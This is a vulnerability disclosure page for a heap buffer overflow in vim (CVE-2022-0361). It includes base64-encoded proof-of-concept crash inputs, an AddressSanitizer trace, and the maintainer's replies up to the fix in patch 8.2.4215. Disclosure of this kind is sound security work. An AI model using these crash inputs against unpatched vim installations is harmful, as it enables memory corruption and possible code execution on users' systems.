Heap-based Buffer Overflow in vim/vim

0

Valid Reported on Jan 24th 2022

Description

Heap Overflow and arbitrary 41 bytes write.
Unsorted bin doubly linked list corruption.
commit hash : 058ee7c5699ef551be5aa04c66b3cffc436e9b08

Proof of Concept

```
$ echo -ne "bm9ybTBv7wX//wUwIDUwMDAwMDAwezAtMDAwMP/yAAD6MDAwMDAwMDAwMDQwKSk
AAogIFVpbCFub3JtCPkICAgIEAAAAA4KICBzFCwUFBQUFBQUFBQUFBQUFGxrsWUKICBzaWwhbm9
bQgICBj31/cwFhcYsk8qAAQwMjIyMjIiMjKAMDAwMDAwMDAwMDCAADAAAAEA/38AADAwMCVkZ4V
ZXh0YBQUFBQPa25lMDAwfAACdCAUFBQUD2tuZQnTNnIyMjIyMjIyMDAwMDBAMDA2NjY2NsbGAAH
xjAwAQAwMDAwMDAwMDQwgBkBADAwMDAyMDAwMDBTMDAwMDAwgDARMDAwMDBAMDAwMDAwMDA3MEU
MDAwMDAwMDBSMHAwLTAwMDAwMDAwMDAwMDAwMDAwMDAwMDBAMDAwMDAwMDAwNDAwAH8wMDAwMDA
MIAwnjCyTyp8fHx8fHx0IDBNMDAwMAAAMDAwMAAKICBzaWwhbm9ybQgICAgIEDAwMDAwMDA2MDA
MCIwMEAwMDAwfWdnZ2lnZ2dOJ2dVZ2dnZ2dnZ2dnZ2cmMDAwMDAyMDB4dCAUFBQUD2tuZQogMDA
MDAwMDAwMCEwADAwAAAAgDAwMDAwMDD/fyAwMA9LEzAwMDAwMHswLTAwMDD/8gAA+jAwMDAwMDA
MDA0MCkpKTAwRjowMMDAwGV4dGAUFBQUD2tuZTAwMDD1LzD/fxUwMDAwMDAwMBNTU1NTU1NTU1N
U1NTU1NTMDAwMDAeMDAcMDBwAAEwgAAwODAwMDAwMDA8MDAwMDAwMDBNMDAZMDAwMDAwXzcwMDA
MDAwMDAwMDAwMDgwMDAwMDErMDAwLxEwMP8wMDAwMDAwMDMwAAAAQDAwMDAwMDAwMCEwADAwAAA
gDAwMBowMDAwTTAwMDAwMDAwMDA3MDAwMDAA/zAICAgWFw6yTyoDZ3kwMPoACiAgMDAwMDAwMAA

$ /home/alkyne/fuzzing/vim_asan/src/vim -u NONE -i NONE -n -X -Z -e -m -s -
ïÿ0 50000000{0-0177777777777777777777ÿò
ïÿ0 50000000{0-0177777777777777777777ÿò
==========================================================
==3619358==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200
WRITE of size 41 at 0x602000007473 thread T0
    #0 0x495b44 in __asan_memmove (/home/alkyne/fuzzing/vim
    #1 0x51ee94 in memmove /usr/include/x86_64-linux-gnu/bi
    #2 0x51ee94 in ins_char_bytes /home/alkyne/fuzzing/vim_asan/src/change.
```

```
    #3 0x51f6fe in ins_char /home/alkyne/fuzzing/vim_asan/src/change.c:1003
    #4 0x988589 in swapchar /home/alkyne/fuzzing/vim_asan/src/ops.c:1445:6
    #5 0x99b554 in swapchars /home/alkyne/fuzzing/vim_asan/src/ops.c:1379:1

    #6 0x99b554 in op_tilde /home/alkyne/fuzzing/vim_asan/src/ops.c:1303:17
    #7 0x99b554 in do_pending_operator /home/alkyne/fuzzing/vim_asan/src/op
    #8 0x93bb29 in normal_cmd /home/alkyne/fuzzing/vim_asan/src/normal.c:11
    #9 0x70ce2b in exec_normal /home/alkyne/fuzzing/vim_asan/src/ex_docmd.c
    #10 0x70bb3c in exec_normal_cmd /home/alkyne/fuzzing/vim_asan/src/ex_do
    #11 0x70bb3c in ex_normal /home/alkyne/fuzzing/vim_asan/src/ex_docmd.c:
    #12 0x6e337c in do_one_cmd /home/alkyne/fuzzing/vim_asan/src/ex_docmd.c
    #13 0x6e337c in do_cmdline /home/alkyne/fuzzing/vim_asan/src/ex_docmd.c
    #14 0xbbae2d in do_source /home/alkyne/fuzzing/vim_asan/src/scriptfile.
    #15 0xbb8e8c in cmd_source /home/alkyne/fuzzing/vim_asan/src/scriptfile
    #16 0xbb8e8c in ex_source /home/alkyne/fuzzing/vim_asan/src/scriptfile.
    #17 0x6e337c in do_one_cmd /home/alkyne/fuzzing/vim_asan/src/ex_docmd.c
    #18 0x6e337c in do_cmdline /home/alkyne/fuzzing/vim_asan/src/ex_docmd.c
    #19 0xf99d44 in exe_commands /home/alkyne/fuzzing/vim_asan/src/main.c:3
    #20 0xf99d44 in vim_main2 /home/alkyne/fuzzing/vim_asan/src/main.c:774:
    #21 0xf9677f in main /home/alkyne/fuzzing/vim_asan/src/main.c:426:12
    #22 0x7fdf81c100b2 in __libc_start_main /build/glibc-eX1tMB/glibc-2.31/
    #23 0x41da9d in _start (/home/alkyne/fuzzing/vim_asan/src/vim+0x41da9d)

0x602000007473 is located 0 bytes to the right of 3-byte region [0x60200000
allocated by thread T0 here:
    #0 0x4961dd in malloc (/home/alkyne/fuzzing/vim_asan/src/vim+0x4961dd)
    #1 0x4c5e15 in lalloc /home/alkyne/fuzzing/vim_asan/src/alloc.c:248:11

SUMMARY: AddressSanitizer: heap-buffer-overflow (/home/alkyne/fuzzing/vim_a
Shadow bytes around the buggy address:
  0x0c047fff8e30: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c047fff8e40: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c047fff8e50: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c047fff8e60: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
  0x0c047fff8e70: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
=>0x0c047fff8e80: fa fa 02 fa fa fa 03 fa fa fa 01 fa fa fa[03]fa
  0x0c047fff8e90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8ea0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8eb0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8ec0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8ed0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
```

```
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07

  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==3619358==ABORTING
```

Impact

Heap Overflow may lead to execute arbitrary code.

CVE
CVE-2022-0361
(Published)

Vulnerability Type
CWE-122: Heap-based Buffer Overflow

Severity
High (8.4)

Visibility
Public

Status

Fixed

Found by

alkyne Choi
@alkyne
unranked

Fixed by

Bram Moolenaar
@brammool
maintainer

This report was seen 965 times.

We are processing your report and will contact the **vim** team within 24 hours. 10 months ago

We have contacted a member of the **vim** team and are waiting to hear back 10 months ago

Bram Moolenaar 10 months ago — Maintainer

This POC is full of random text. Please reduce it to the minimal that reproduces the problem.

alkyne Choi 10 months ago — Researcher

@maintainer
You can use this.

```
$ echo -ne "bm9ybTBv7zAwLTAw8gogIHNpbCFub3JtMDAwGPcwMDAWsk8qADAwMDAwMDAwMDAwMDAwMDAwMD
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAw
MDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDB0MApzaWwwbm9ybTBnTlU=" | base64 -d > pc
```

Chat with us

Bram Moolenaar validated this vulnerability 10 months ago

Bram Moolenaar validated this vulnerability 10 months ago

alkyne Choi has been awarded the disclosure bounty ✅

The fix bounty is now up for grabs

Bram Moolenaar 10 months ago Maintainer

I can reproduce the problem, but the stack trace points to a simple error, there should be a much simpler way to reproduce this.

Bram Moolenaar 10 months ago Maintainer

Fixed in patch 8.2.4215. Turned out the minimal reproduction was tricky, but a test is included with the patch.

Bram Moolenaar marked this as fixed in 8.2 with commit dc5490 10 months ago

Bram Moolenaar has been awarded the fix bounty ✅

This vulnerability will not receive a CVE ❌

Sign in to join this conversation

FAQ

contact us

terms

privacy policy